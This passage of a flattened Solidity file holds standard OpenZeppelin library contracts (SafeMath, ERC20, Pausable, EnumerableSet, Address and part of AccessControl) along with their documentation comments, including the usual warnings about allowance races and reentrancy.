* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/contracts/utils/Pausable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Pausable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20Pausable is ERC20, Pausable {
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
require(
set._values.length > index,
"EnumerableSet: index out of bounds"
);
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index)
public
view
returns (address)
{
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(
hasRole(_roles[role].adminRole, _msgSender()),
"AccessControl: sender must be an admin to grant"
);
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(
hasRole(_roles[role].adminRole, _msgSender()),
"AccessControl: sender must be an admin to revoke"
);
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(
account == _msgSender(),
"AccessControl: can only renounce roles for self"
);
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
